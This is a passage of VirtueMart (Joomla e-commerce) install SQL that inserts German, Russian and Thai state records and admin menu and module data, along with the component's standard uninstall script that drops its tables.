'HES', 'HE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (559, 1, 81, 0, 'Rheinland-Pfalz', 'RLP', 'RP', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (560, 1, 81, 0, 'Baden-Württemberg', 'BWÜ', 'BW', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (561, 1, 81, 0, 'Freistaat Bayern', 'BAV', 'BY', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (562, 1, 81, 0, 'Saarland', 'SLA', 'SL', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (563, 1, 81, 0, 'Berlin', 'BER', 'BE', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (564, 1, 81, 0, 'Brandenburg', 'BRB', 'BB', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (565, 1, 81, 0, 'Mecklenburg-Vorpommern', 'MVO', 'MV', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (566, 1, 81, 0, 'Freistaat Sachsen', 'SAC', 'SN', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (567, 1, 81, 0, 'Sachsen-Anhalt', 'SAA', 'ST', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (568, 1, 81, 0, 'Freistaat Thüringen', 'THÜ', 'TH', 0, 1, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (570, 1, 176, 0, 'Адыгея Республика', 'AD', '01', 1, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (571, 1, 176, 0, 'Алтай Республика', 'AL', '04', 2, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (572, 1, 176, 0, 'Алтайский край', 'ALT', '22', 3, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (573, 1, 176, 0, 'Амурская область', 'AMU', '28', 4, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (574, 1, 176, 0, 'Архангельская область', 'ARK', '29', 5, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (575, 1, 176, 0, 'Астраханская область', 'AST', '30', 6, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (576, 1, 176, 0, 'Башкортостан Республика', 'BA', '02', 7, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (577, 1, 176, 0, 'Белгородская область', 'BEL', '31', 8, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (578, 1, 176, 0, 'Брянская область', 'BRY', '32', 9, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (579, 1, 176, 0, 'Бурятия Республика', 'BU', '03', 10, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (580, 1, 176, 0, 'Владимирская область', 'VLA', '33', 11, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (581, 1, 176, 0, 'Волгоградская область', 'VGG', '34', 12, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (582, 1, 176, 0, 'Вологодская область', 'VLG', '35', 13, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (583, 1, 176, 0, 'Воронежская область', 'VOR', '36', 14, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (584, 1, 176, 0, 'Дагестан Республика', 'DA', '05', 15, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (585, 1, 176, 0, 'Еврейская автономная область', 'YEV', '79', 16, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (586, 1, 176, 0, 'Забайкальский край', 'ZAB', '75', 17, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (587, 1, 176, 0, 'Ивановская область', 'IVA', '37', 18, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (588, 1, 176, 0, 'Ингушетия Республика', 'IN', '06', 19, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (589, 1, 176, 0, 'Иркутская область', 'IRK', '38', 20, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (590, 1, 176, 0, 'Кабардино-Балкарская Республика', 'KB', '07', 21, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (591, 1, 176, 0, 'Калининградская область', 'KGD', '39', 22, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (592, 1, 176, 0, 'Калмыкия Республика', 'KL', '08', 23, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (593, 1, 176, 0, 'Калужская область', 'KLU', '40', 24, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (594, 1, 176, 0, 'Камчатский край', 'KAM', '41', 25, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (595, 1, 176, 0, 'Карачаево-Черкесская Республика', 'KC', '09', 26, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (596, 1, 176, 0, 'Карелия Республика', 'KR', '10', 27, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (597, 1, 176, 0, 'Кемеровская область', 'KEM', '42', 28, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (598, 1, 176, 0, 'Кировская область', 'KIR', '43', 29, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (599, 1, 176, 0, 'Коми Республика', 'KO', '11', 30, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (600, 1, 176, 0, 'Костромская область', 'KOS', '44', 31, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (601, 1, 176, 0, 'Краснодарский край', 'KDA', '23', 32, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (602, 1, 176, 0, 'Красноярский край', 'KIA', '24', 33, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (603, 1, 176, 0, 'Курганская область', 'KGN', '45', 34, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (604, 1, 176, 0, 'Курская область', 'KRS', '46', 35, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (605, 1, 176, 0, 'Ленинградская область', 'LEN', '47', 36, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (606, 1, 176, 0, 'Липецкая область', 'LIP', '48', 37, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (607, 1, 176, 0, 'Магаданская область', 'MAG', '49', 38, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (608, 1, 176, 0, 'Марий Эл Республика', 'ME', '12', 39, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (609, 1, 176, 0, 'Мордовия Республика', 'MO', '13', 40, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (610, 1, 176, 0, 'Москва', 'MOW', '77', 41, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (611, 1, 176, 0, 'Московская область', 'MOS', '50', 42, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (612, 1, 176, 0, 'Мурманская область', 'MUR', '51', 43, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (613, 1, 176, 0, 'Ненецкий автономный округ', 'NEN', '83', 44, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (614, 1, 176, 0, 'Нижегородская область', 'NIZ', '52', 45, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (615, 1, 176, 0, 'Новгородская область', 'NGR', '53', 46, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (616, 1, 176, 0, 'Новосибирская область', 'NVS', '54', 47, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (617, 1, 176, 0, 'Омская область', 'OMS', '55', 48, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (618, 1, 176, 0, 'Оренбургская область', 'ORE', '56', 49, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (619, 1, 176, 0, 'Орловская область', 'ORL', '57', 50, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (620, 1, 176, 0, 'Пензенская область', 'PNZ', '58', 51, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (621, 1, 176, 0, 'Пермский край', 'PER', '59', 52, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (622, 1, 176, 0, 'Приморский край', 'PRI', '25', 53, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (623, 1, 176, 0, 'Псковская область', 'PSK', '60', 54, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (624, 1, 176, 0, 'Ростовская область', 'ROS', '61', 55, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (625, 1, 176, 0, 'Рязанская область', 'RYA', '62', 56, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (626, 1, 176, 0, 'Самарская область', 'SAM', '63', 57, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (627, 1, 176, 0, 'Санкт-Петербург', 'SPE', '78', 58, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (628, 1, 176, 0, 'Саратовская область', 'SAR', '64', 59, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (629, 1, 176, 0, 'Саха (Якутия) Республика', 'SA', '14', 60, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (630, 1, 176, 0, 'Сахалинская область', 'SAK', '65', 61, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (631, 1, 176, 0, 'Свердловская область', 'SVE', '66', 62, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (632, 1, 176, 0, 'Северная Осетия-Алания Республика', 'SE', '15', 63, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (633, 1, 176, 0, 'Смоленская область', 'SMO', '67', 64, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (634, 1, 176, 0, 'Ставропольский край', 'STA', '26', 65, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (635, 1, 176, 0, 'Тамбовская область', 'TAM', '68', 66, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (636, 1, 176, 0, 'Татарстан Республика', 'TA', '16', 67, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (637, 1, 176, 0, 'Тверская область', 'TVE', '69', 68, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (638, 1, 176, 0, 'Томская область', 'TOM', '70', 69, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (639, 1, 176, 0, 'Тульская область', 'TUL', '71', 70, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (640, 1, 176, 0, 'Тыва Республика', 'TY', '17', 71, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (641, 1, 176, 0, 'Тюменская область', 'TYU', '72', 72, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (642, 1, 176, 0, 'Удмуртская Республика', 'UD', '18', 73, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (643, 1, 176, 0, 'Ульяновская область', 'ULY', '73', 74, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (644, 1, 176, 0, 'Хакасия Республика', 'KK', '19', 75, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (645, 1, 176, 0, 'Челябинская область', 'CHE', '74', 76, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (646, 1, 176, 0, 'Чеченская Республика', 'CE', '20', 77, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (647, 1, 176, 0, 'Чувашская Республика', 'CU', '21', 78, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (648, 1, 176, 0, 'Чукотский автономный округ', 'CHU', '87', 79, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (649, 1, 176, 0, 'Хабаровский край', 'KHA', '27', 80, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (650, 1, 176, 0, 'Ханты-Мансийский автономный округ', 'KHM', '86', 81, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (651, 1, 176, 0, 'Ямало-Ненецкий автономный округ', 'YAN', '89', 82, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0), (652, 1, 176, 0, 'Ярославская область', 'YAR', '76', 83, 0, 1, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0, '0000-00-00 00:00:00', 0); -- By : Khemakorn Chaiyapruck from Thailand INSERT INTO `#__virtuemart_states` (`virtuemart_state_id`, `virtuemart_vendor_id`, `virtuemart_country_id`, `state_name`, `state_3_code`, `state_2_code`, `published`) VALUES (653, 1, 209, 'กระบี่', 'กบ', 'กบ', 1), (654, 1, 209, 'กรุงเทพมหานคร', 'กทม', 'กท', 1), (655, 1, 209, 'กาญจนบุรี', 'กจ', 'กจ', 1), (656, 1, 209, 'กาฬสินธุ์', 'กส', 'กส', 1), (657, 1, 209, 'กำแพงเพชร', 'กพ', 'กพ', 1), (658, 1, 209, 'ขอนแก่น', 'ขก', 'ขก', 1), (659, 1, 209, 'จันทบุรี ', 'จบ', 'จบ', 1), (660, 1, 209, 'ฉะเชิงเทรา', 'ฉช', 'ฉช', 1), (661, 1, 209, 'ชลบุรี ', 'ชบ', 'ชบ', 1), (662, 1, 209, 'ชัยนาท', 'ชน', 'ชน', 1), (663, 1, 209, 'ชัยภูมิ', 'ชย', 'ชย', 1), (664, 1, 209, 'ชุมพร', 'ชพ', 'ชพ', 1), (665, 1, 209, 'เชียงราย', 'ชร', 'ชร', 1), (666, 1, 209, 'เชียงใหม่', 'ชม', 'ชม', 1), (667, 1, 209, 'ตรัง', 'ตง', 'ตง', 1), (668, 1, 209, 'ตราด', 'ตร', 'ตร', 1), (669, 1, 209, 'ตาก', 'ตก', 'ตก', 1), (670, 1, 209, 'นครนายก', 'นย', 'นย', 1), (671, 1, 209, 'นครปฐม', 'นฐ', 'นฐ', 1), (672, 1, 209, 'นครพนม', 'นพ', 'นพ', 1), (673, 1, 209, 'นครราชสีมา', 'นม', 'นม', 1), (674, 1, 209, 'นครศรีธรรมราช', 'นศ', 'นศ', 1), (675, 1, 209, 'นครสวรรค์', 'นว', 'นว', 1), (676, 1, 209, 'นนทบุรี ', 'นบ', 'นบ', 1), (677, 1, 209, 'นราธิวาส', 'นธ', 'นธ', 1), (678, 1, 209, 'น่าน', 'นน', 'นน', 1), (679, 1, 209, 'บุรีรัมย์', 'บร', 'บร', 1), (680, 1, 209, 'บึงกาฬ', 'บก', 'บก', 1), (681, 1, 209, 'ปทุมธานี', 'ปท', 'ปท', 1), (682, 1, 209, 'ประจวบคีรีขันธ์', 'ปข', 'ปข', 1), (683, 1, 209, 'ปราจีนบุรี', 'ปจ', 'ปจ', 1), (684, 1, 209, 'ปัตตานี', 'ปน', 'ปน', 1), (685, 1, 209, 'พระนครศรีอยุธยา', 'อย', 'อย', 1), (686, 1, 209, 'พังงา ', 'พง', 'พง', 1), (687, 1, 209, 'พัทลุง', 'พท', 'พท', 1), (688, 1, 209, 'พิจิตร', 'พจ', 'พจ', 1), (689, 1, 209, 'พิษณุโลก', 'พล', 'พล', 1), (690, 1, 209, 'เพชรบุรี', 'พบ', 'พบ', 1), (691, 1, 209, 'เพชรบูรณ์ ', 'พช', 'พช', 1), (692, 1, 209, 'แพร่ ', 'พร', 'พร', 1), (693, 1, 209, 'พะเยา', 'พย', 'พย', 1), (694, 1, 209, 'ภูเก็ต', 'ภก', 'ภก', 1), (695, 1, 209, 'มหาสารคาม', 'มค', 'มค', 1), (696, 1, 209, 'แม่ฮ่องสอน', 'มส', 'มส', 1), (697, 1, 209, 'มุกดาหาร', 'มห', 'มห', 1), (698, 1, 209, 'ยะลา', 'ยล', 'ยล', 1), (699, 1, 209, 'ยโสธร', 'ยส', 'ยส', 1), (700, 1, 209, 'ร้อยเอ็ด', 'รอ', 'รอ', 1), (701, 1, 209, 'ระนอง', 'รน', 'รน', 1), (702, 1, 209, 'ระยอง', 'รย', 'รย', 1), (703, 1, 209, 'ราชบุรี', 'รบ', 'รบ', 1), (704, 1, 209, 'ลพบุรี', 'ลบ', 'ลบ', 1), (705, 1, 209, 'ลำปาง', 'ลป', 'ลป', 1), (706, 1, 209, 'ลำพูน', 'ลพ', 'ลพ', 1), (707, 1, 209, 'เลย', 'ลย', 'ลย', 1), (708, 1, 209, 'ศรีสะเกษ', 'ศก', 'ศก', 1), (709, 1, 209, 'สกลนคร', 'สน', 'สน', 1), (710, 1, 209, 'สงขลา', 'สข', 'สข', 1), (711, 1, 209, 'สตูล', 'สต', 'สต', 1), (712, 1, 209, 'สมุทรปราการ', 'สป', 'สป', 1), (713, 1, 209, 'สมุทรสงคราม', 'สส', 'สส', 1), (714, 1, 209, 'สมุทรสาคร', 'สค', 'สค', 1), (715, 1, 209, 'สระบุรี', 'สบ', 'สบ', 1), (716, 1, 209, 'สระแก้ว', 'สก', 'สก', 1), (717, 1, 209, 'สิงห์บุรี ', 'สห', 'สห', 1), (718, 1, 209, 'สุโขทัย', 'สท', 'สท', 1), (719, 1, 209, 'สุพรรณบุรี', 'สพ', 'สพ', 1), (720, 1, 209, 'สุราษฎร์ธานี', 'สฎ', 'สฎ', 1), (721, 1, 209, 'สุรินทร์', 'สร', 'สร', 1), (722, 1, 209, 'หนองคาย', 'นค', 'นค', 1), (723, 1, 209, 'หนองบัวลำภู', 'นภ', 'นภ', 1), (724, 1, 209, 'อ่างทอง', 'อท', 'อท', 1), (725, 1, 209, 'อุดรธานี', 'อด', 'อด', 1), (726, 1, 209, 'อุตรดิตถ์', 'อต', 'อต', 1), (727, 1, 209, 'อุทัยธานี', 'อน', 'อน', 1), (728, 1, 209, 'อุบลราชธานี', 'อบ', 'อบ', 1), (729, 1, 209, 'อำนาจเจริญ', 'อจ', 'อจ', 1); PKs>\ޛ%**$com_virtuemart/install/uninstall.sqlnuW+ADROP TABLE `#__virtuemart_permgroups`, `#__virtuemart_categories`, `#__virtuemart_category_categories`, `#__virtuemart_countries`, `#__virtuemart_coupons`, `#__virtuemart_currencies`, `#__virtuemart_customs`, `#__virtuemart_customplugins`, `#__virtuemart_manufacturers`, `#__virtuemart_manufacturercategories`, `#__virtuemart_adminmenuentries`, `#__virtuemart_modules`, `#__virtuemart_orders`, `#__virtuemart_order_histories`, `#__virtuemart_order_items`, `#__virtuemart_orderstates`, `#__virtuemart_order_userinfos`, `#__virtuemart_paymentmethods`, `#__virtuemart_products`, `#__virtuemart_product_categories`, `#__virtuemart_product_customfields`, `#__virtuemart_product_downloads`, `#__virtuemart_medias`, `#__virtuemart_product_manufacturers`, `#__virtuemart_product_prices`, `#__virtuemart_product_producttypes`, `#__virtuemart_product_relations`, `#__virtuemart_rating_reviews`, `#__virtuemart_producttypes`, `#__virtuemart_producttype_customfields`, `#__virtuemart_shipmentmethods`, `#__virtuemart_shoppergroups`, `#__virtuemart_states`, `#__virtuemart_userfields`, `#__virtuemart_userfield_values`, `#__virtuemart_vmusers`, `#__virtuemart_userinfos`, `#__virtuemart_vmuser_shoppergroups`, `#__virtuemart_vendors`, `#__virtuemart_waitingusers`, `#__virtuemart_worldzones`;PKs>\xi2i21com_virtuemart/install/install_essential_data.sqlnuW+A -- VirtueMart table data SQL script -- This will insert all essential data into the VirtueMart tables -- -- Configuration data has been moved to virtuemart.cfg -- -- -- Dumping data for table `#__virtuemart_adminmenuentries` -- INSERT INTO `#__virtuemart_adminmenuentries` (`id`, `module_id`, `parent_id`, `name`, `link`, `depends`, `icon_class`, `ordering`, `published`, `tooltip`, `view`, `task`) VALUES (null , 1, 0, 'COM_VIRTUEMART_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_camera', 1, 1, '', 'category', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_S', '', '', 'vmicon vmicon-16-camera', 2, 1, '', 'product', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_CUSTOM_FIELD_S', '', '', 'vmicon vmicon-16-document_move', 5, 1, '', 'custom', ''), (null, 1, 0, 'COM_VIRTUEMART_PRODUCT_INVENTORY', '', '', 'vmicon vmicon-16-price_watch', 7, 1, '', 'inventory', ''), (null, 1, 0, 'COM_VIRTUEMART_CALC_S', '', '', 'vmicon vmicon-16-calculator', 8, 1, '', 'calc', ''), (null, 1, 0, 'COM_VIRTUEMART_REVIEW_RATE_S', '', '', 'vmicon vmicon-16-comments', 9, 1, '', 'ratings', ''), (null, 2, 0, 'COM_VIRTUEMART_ORDER_S', '', '', 'vmicon vmicon-16-page_white_stack', 1, 1, '', 'orders', ''), (null, 2, 0, 'COM_VIRTUEMART_COUPON_S', '', '', 'vmicon vmicon-16-shopping', 10, 1, '', 'coupon', ''), (null, 2, 0, 'COM_VIRTUEMART_REPORT', '', '', 'vmicon vmicon-16-chart_bar', 3, 1, '', 'report',''), (null, 2, 0, 'COM_VIRTUEMART_USER_S', '', '', 'vmicon vmicon-16-user', 4, 1, '', 'user', ''), (null, 2, 0, 'COM_VIRTUEMART_SHOPPERGROUP_S', '', '', 'vmicon vmicon-16-user-group', 5, 1, '', 'shoppergroup', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_S', '', '', 'vmicon vmicon-16-wrench_orange', 1, 1, '', 'manufacturer', ''), (null, 3, 0, 'COM_VIRTUEMART_MANUFACTURER_CATEGORY_S', '', '', 'vmicon vmicon-16-folder_wrench', 2, 1, '', 'manufacturercategories', ''), (null, 4, 0, 'COM_VIRTUEMART_STORE', '', '', 'vmicon vmicon-16-reseller_account_template', 1, 1, '', 'user', 'editshop'), (null, 4, 0, 'COM_VIRTUEMART_MEDIA_S', '', '', 'vmicon vmicon-16-pictures', 2, 1, '', 'media', ''), (null, 4, 0, 'COM_VIRTUEMART_SHIPMENTMETHOD_S', '', '', 'vmicon vmicon-16-lorry', 3, 1, '', 'shipmentmethod', ''), (null, 4, 0, 'COM_VIRTUEMART_PAYMENTMETHOD_S', '', '', 'vmicon vmicon-16-creditcards', 4, 1, '', 'paymentmethod', ''), (null, 5, 0, 'COM_VIRTUEMART_CONFIGURATION', '', '', 'vmicon vmicon-16-config', 1, 1, '', 'config', ''), (null, 5, 0, 'COM_VIRTUEMART_USERFIELD_S', '', '', 'vmicon vmicon-16-participation_rate', 2, 1, '', 'userfields', ''), (null, 5, 0, 'COM_VIRTUEMART_ORDERSTATUS_S', '', '', 'vmicon vmicon-16-document_editing', 3, 1, '', 'orderstatus', ''), (null, 5, 0, 'COM_VIRTUEMART_CURRENCY_S', '', '', 'vmicon vmicon-16-coins', 5, 1, '', 'currency', ''), (null, 5, 0, 'COM_VIRTUEMART_COUNTRY_S', '', '', 'vmicon vmicon-16-globe', 6, 1, '', 'country', ''), (null, 11, 0, 'COM_VIRTUEMART_MIGRATION_UPDATE', '', '', 'vmicon vmicon-16-installer_box', 1, 1, '', 'updatesmigration', ''), (null, 11, 0, 'COM_VIRTUEMART_ABOUT', '', '', 'vmicon vmicon-16-info', 3, 1, '', 'about', ''), (null, 11, 0, 'COM_VIRTUEMART_HELP_TOPICS', 'http://docs.virtuemart.net/', '', 'vmicon vmicon-16-help', 4, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_COMMUNITY_FORUM', 'http://forum.virtuemart.net/', '', 'vmicon vmicon-16-reseller_programm', 6, 1, '', '', ''), (null, 11, 0, 'COM_VIRTUEMART_STATISTIC_SUMMARY', '', '', 'vmicon vmicon-16-info', 1, 1, '', 'virtuemart', ''), (null, 77, 0, 'COM_VIRTUEMART_USER_GROUP_S', '', '', 'vmicon vmicon-16-user', 2, 1, '', 'usergroups', ''), (null, 11, 0, 'COM_VIRTUEMART_LOG', '', '', 'vmicon vmicon-16-info', 2, 1, '', 'log', ''); -- -- Dumping data for table `#__virtuemart_modules` -- INSERT INTO `#__virtuemart_modules` (`module_id`, `module_name`, `module_description`, `module_perms`, `published`, `is_admin`, `ordering`) VALUES (1, 'product', 'Here you can administer your online catalog of products. Categories , Products (view=product), Attributes ,Product Types Product Files (view=media), Inventory , Calculation Rules ,Customer Reviews ', 'storeadmin,admin', 1, '1', 1), (2, 'order', 'View Order and Update Order Status: Orders , Coupons , Revenue Report ,Shopper , Shopper Groups ', 'admin,storeadmin', 1, '1', 2), (3, 'manufacturer', 'Manage the manufacturers of products in your store.', 'storeadmin,admin', 1, '1', 3), (4, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (5, 'configuration', 'Configuration: shop configuration , currencies (view=currency), Credit Card List, Countries, userfields, order status ', 'admin,storeadmin', 1, '1', 5), (6, 'msgs', 'This module is unprotected an used for displaying system messages to users. We need to have an area that does not require authorization when things go wrong.', 'none', 0, '0', 99), (7, 'shop', 'This is the Washupito store module. This is the demo store included with the VirtueMart distribution.', 'none', 1, '0', 99), (8, 'store', 'Store Configuration: Store Information, Payment Methods , Shipment, Shipment Rates', 'storeadmin,admin', 1, '1', 4), (9, 'account', 'This module allows shoppers to update their account information and view previously placed orders.', 'shopper,storeadmin,admin,demo', 1, '0', 99), (10, 'checkout', '', 'none', 0, '0', 99), (11, 'tools', 'Tools', 'admin', 1, '1', 8), (13, 